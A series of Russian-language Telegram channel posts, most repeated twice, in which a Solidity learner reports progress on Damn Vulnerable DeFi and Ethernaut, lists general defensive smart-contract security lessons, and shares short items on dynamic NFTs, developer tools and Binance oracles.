Еще одна задача на работу с прокси паттернами, в частности UUPS. Чуть более сложная, чем та, что мы разбирали ранее.
Я хочу чуть больше почитать примеров о работе прокси контрактов и отложить эту задачу также на потом.
Я разобрал несколько решений, которые нашел в сети; понял, что от нас требовалось; понял смысл реализации. И вместе с тем понял, что не смогу находить уязвимости в других подобных задачах, если не поработаю с прокси вообще. Поэтому решил дать себе время.
Итого, 10 из 12 задач для новичка звучит не плохо. Останавливаться же мы не собираемся и пойдем искать другие задачи для практики поиска уязвимостей.
#dvd #DamnVulnerableDefi
Новая неделя - новые задачи
Нас уже 102! 🥳🥳🥳 Это настолько же классно, насколько и невероятно для меня. По началу я задумывал этот канал, как совместное обучение Solidity для небольшой группы людей, но постепенно он вырос в полноценный обучающий мини-портал, где собрана актуальная информация по блокчейн разработке.
И, несмотря на отсутствие мемов, развлекательного контента, прогнозов на крипто торговлю и прочую лабуду, у нас получается понемногу расти. Это здорово!
По традиции, напишу пару слов о том, чем мы будем заниматься в течение этой недели.
Прежде всего, я накопил пару десятков твитов и статей по Solidity, сервисам, новым течениям и т.д. Я постараюсь разобрать их, сделать посты и поделиться в группе. Понятное дело, сюда попадут только самые интересные материалы.
Далее мы посмотрим и попробуем разобрать два новых видео на канале Ильи про хранение данных и работу с памятью.
Также продолжим работать с вопросам безопасности смарт контрактов. И для начала подведем итоги работы с Ethernaut и DVD. Возможно, сделаем закрепленный пост с навигацией по темам. Еще хотелось бы проходить пару задач в день на других проектах, типа speedrunethereum или ethereumhacker.
Вот такой примерный план.
Приятной недели и легкого обучения!
Нас уже 102! 🥳🥳🥳 Это настолько же классно, насколько и невероятно для меня. По началу я задумывал этот канал, как совместное обучение Solidity для небольшой группы людей, но постепенно он вырос в полноценный обучающий мини-портал, где собрана актуальная информация по блокчейн разработке.
И, несмотря на отсутствие мемов, развлекательного контента, прогнозов на крипто торговлю и прочую лабуду, у нас получается понемногу расти. Это здорово!
По традиции, напишу пару слов о том, чем мы будем заниматься в течение этой недели.
Прежде всего, я накопил пару десятков твитов и статей по Solidity, сервисам, новым течениям и т.д. Я постараюсь разобрать их, сделать посты и поделиться в группе. Понятное дело, сюда попадут только самые интересные материалы.
Далее мы посмотрим и попробуем разобрать два новых видео на канале Ильи про хранение данных и работу с памятью.
Также продолжим работать с вопросам безопасности смарт контрактов. И для начала подведем итоги работы с Ethernaut и DVD. Возможно, сделаем закрепленный пост с навигацией по темам. Еще хотелось бы проходить пару задач в день на других проектах, типа speedrunethereum или ethereumhacker.
Вот такой примерный план.
Приятной недели и легкого обучения!
❤5👍3
Безопасность и взлом контрактов v1.0
За последние три недели мы в хорошем темпе прогнали задачи Ethernaut и Damn Vulnerable Defi с одной целью: научиться видеть места, в которых могут таиться уязвимости контрактов.
Да, это несомненно клево суметь решить каждую задачу самому. Однако, теперь я могу с уверенность сказать, что проходить конкретно эти и любые другие задачи нужно дважды. Первый раз - после изучения основ языка Solidity, и второй раз - после полугода обучения.
Теме безопасности уделяется неимоверно мало времени на курсах и в сети. А между тем, взломы контрактов происходят чуть ли не каждый день. Зная, о потенциальных угрозах с практической точки зрения, мы можем перестроить свою разработку на более безопасный путь.
Научиться видеть и понимать угрозы взлома должны стать базисом обучения разработчиков смарт контрактов.
Предлагаю вспомнить некоторые моменты в контрактах из задач, которые таили в себе уязвимости.
1. Версии Solidity. Достаточно много задач и примеров "плохого" кода были реализованы на старых версиях языка (ниже 0.8). Разработчики Solidity стараются фиксить баги и повышать безопасность с каждым новым релизом. Поэтому крайне рекомендовано использовать последние версии языка.
2. Права доступа. Продумывайте, кто и к каким функциям будет иметь доступ: админ, модератор, обычный пользователь или кто-то еще. Старайтесь максимально обезопасить функции передачи прав собственности и возможность принимать решения по выводу средств.
3. Области видимости функций. Не забывайте, что вызывать из могут и пользователи, и контракты, и callback функции и еще куча всего.
4. Обрабатывайте return, где это только можно. Многие функции, типа transfer и call, возвращают return (true, false, 0), который должен быть обработан перед продолжением выполнения логики функции.
5. Опасный delegatecall. Используйте его, только если наверняка знаете, как он работает и кто его сможет вызвать. Достаточно большое количество взломов было из-за него.
6. Callback функции. Встаньте на место хакера и подумайте, может ли он использовать callback функцию, чтобы забрать деньги с вашего контракта или заполучить права админа.
7. Знание всех функций стандартов. Если работаете с каким-либо стандартом (ERC20, ERC721 и другие), то следует понимать и знать, какие функции там существуют. Если контракт наследует от, например ERC20, то следовательно он имеет доступ ко всем функциям стандарта, даже если они не указны напрямую.
8. Базовые принципы работы. Вообще, связываясь например с прокси контрактами, не следует просто брать готовые шаблоны, даже на openzeppelin. Прежде всего следует изучить как можно больше материалов по работе и безопасности прокси. Бездумное копирование кода приведет к практически 100% гарантии взлома.
Уверен, позже мы еще добавим несколько пунктов в этот список. Но это то, что мы должны были понять после разбора задач.
#безопасность
За последние три недели мы в хорошем темпе прогнали задачи Ethernaut и Damn Vulnerable Defi с одной целью: научиться видеть места, в которых могут таиться уязвимости контрактов.
Да, это несомненно клево суметь решить каждую задачу самому. Однако, теперь я могу с уверенность сказать, что проходить конкретно эти и любые другие задачи нужно дважды. Первый раз - после изучения основ языка Solidity, и второй раз - после полугода обучения.
Теме безопасности уделяется неимоверно мало времени на курсах и в сети. А между тем, взломы контрактов происходят чуть ли не каждый день. Зная, о потенциальных угрозах с практической точки зрения, мы можем перестроить свою разработку на более безопасный путь.
Научиться видеть и понимать угрозы взлома должны стать базисом обучения разработчиков смарт контрактов.
Предлагаю вспомнить некоторые моменты в контрактах из задач, которые таили в себе уязвимости.
1. Версии Solidity. Достаточно много задач и примеров "плохого" кода были реализованы на старых версиях языка (ниже 0.8). Разработчики Solidity стараются фиксить баги и повышать безопасность с каждым новым релизом. Поэтому крайне рекомендовано использовать последние версии языка.
2. Права доступа. Продумывайте, кто и к каким функциям будет иметь доступ: админ, модератор, обычный пользователь или кто-то еще. Старайтесь максимально обезопасить функции передачи прав собственности и возможность принимать решения по выводу средств.
3. Области видимости функций. Не забывайте, что вызывать из могут и пользователи, и контракты, и callback функции и еще куча всего.
4. Обрабатывайте return, где это только можно. Многие функции, типа transfer и call, возвращают return (true, false, 0), который должен быть обработан перед продолжением выполнения логики функции.
5. Опасный delegatecall. Используйте его, только если наверняка знаете, как он работает и кто его сможет вызвать. Достаточно большое количество взломов было из-за него.
6. Callback функции. Встаньте на место хакера и подумайте, может ли он использовать callback функцию, чтобы забрать деньги с вашего контракта или заполучить права админа.
7. Знание всех функций стандартов. Если работаете с каким-либо стандартом (ERC20, ERC721 и другие), то следует понимать и знать, какие функции там существуют. Если контракт наследует от, например ERC20, то следовательно он имеет доступ ко всем функциям стандарта, даже если они не указны напрямую.
8. Базовые принципы работы. Вообще, связываясь например с прокси контрактами, не следует просто брать готовые шаблоны, даже на openzeppelin. Прежде всего следует изучить как можно больше материалов по работе и безопасности прокси. Бездумное копирование кода приведет к практически 100% гарантии взлома.
Уверен, позже мы еще добавим несколько пунктов в этот список. Но это то, что мы должны были понять после разбора задач.
#безопасность
👍5
Что такое динамические NFT?
Статья на английском языке вышла еще в начале апреля, но до этого момента я еще ни разу нигде не встречал упоминание о динамических NFT, или dNFT.
Все мы знаем, что как только NFT был создан, то информацию о нем нельзя изменить. При этом, обязательным параметром токена является его id, а метадата - полностью опциональна.
dNFT подразумевают регулярную возможность обновления этих метаданных: ссылки, описание и т.д.
Такие dNFT могут найти широкое применение в играх, где не нужно будет каждый раз минтить новый лут при обновлении его характеристик, а можно будет просто обновить информацию об уже имеющимся.
Или при покупке недвижимости, обновлять информацию о ней в блокчейне, без необходимости "сжигать" старый токен и создавать новый.
Также мне понравился пример с видео в dNFT, когда организаторы добавляли по одному кадру в видео при покупке 1 внутреннего токена сервиса. Т.е. они выпустили 1 млн токенов, которые могли купить их пользователи. При каждой покупке, организаторы обновляли метаданные NFT и пользователям постепенно открывалось все видео! Круто, да?
Как я понял, dNFT не имеют своего стандарта и обновление метаданных происходит силами разработчиков, поэтому каждый может создать свой dNFT, немного пораскинув наработками.
#nft #dnft
Статья на английском языке вышла еще в начале апреля, но до этого момента я еще ни разу нигде не встречал упоминание о динамических NFT, или dNFT.
Все мы знаем, что как только NFT был создан, то информацию о нем нельзя изменить. При этом, обязательным параметром токена является его id, а метадата - полностью опциональна.
dNFT подразумевают регулярную возможность обновления этих метаданных: ссылки, описание и т.д.
Такие dNFT могут найти широкое применение в играх, где не нужно будет каждый раз минтить новый лут при обновлении его характеристик, а можно будет просто обновить информацию об уже имеющимся.
Или при покупке недвижимости, обновлять информацию о ней в блокчейне, без необходимости "сжигать" старый токен и создавать новый.
Также мне понравился пример с видео в dNFT, когда организаторы добавляли по одному кадру в видео при покупке 1 внутреннего токена сервиса. Т.е. они выпустили 1 млн токенов, которые могли купить их пользователи. При каждой покупке, организаторы обновляли метаданные NFT и пользователям постепенно открывалось все видео! Круто, да?
Как я понял, dNFT не имеют своего стандарта и обновление метаданных происходит силами разработчиков, поэтому каждый может создать свой dNFT, немного пораскинув наработками.
#nft #dnft
👍3
Пара интересный сервисов
Нашел пару интересных сервисов для блокчейн разработчика.
Abi Ninja
Мини проект для взаимодействия с ABI контракта в различных сетях Эфира. Вы можете использовать как адрес контракта, который уже был подтвержден на etherscan, или же скопипастить адрес и abi.
Eth-toolbox
Прикольный мультитул для разработчика: делает конвертацию uint, хеширование инпутов, форматирование адреса, переводы hex и многое другое.
Создание древа Меркла
Прекрасные репозиторий на случай, если вам вдруг понадобится работать с древом в своем проекте.
#abininja #toolbox #merkletree #merkle
Нашел пару интересных сервисов для блокчейн разработчика.
Abi Ninja
Мини проект для взаимодействия с ABI контракта в различных сетях Эфира. Вы можете использовать как адрес контракта, который уже был подтвержден на etherscan, или же скопипастить адрес и abi.
Eth-toolbox
Прикольный мультитул для разработчика: делает конвертацию uint, хеширование инпутов, форматирование адреса, переводы hex и многое другое.
Создание древа Меркла
Прекрасные репозиторий на случай, если вам вдруг понадобится работать с древом в своем проекте.
#abininja #toolbox #merkletree #merkle
👍3
Оракулы Binance
В октябре этого года Binance запустила свой сервис оракулов.
В некотором роду он выступает конкурентом Price Feeds от Chainlink и некоторым сервисам TheGraph, так как позволяет мониторить цены на популярные активы.
Если вы создаете свое DeFi приложение, то оракулы Binance смогут помочь вам в этом.
Чуть больше почитать об этом можно тут.
#binance
В октябре этого года Binance запустила свой сервис оракулов.
В некотором роду он выступает конкурентом Price Feeds от Chainlink и некоторым сервисам TheGraph, так как позволяет мониторить цены на популярные активы.
Если вы создаете свое DeFi приложение, то оракулы Binance смогут помочь вам в этом.
Чуть больше почитать об этом можно тут.
#binance
👍4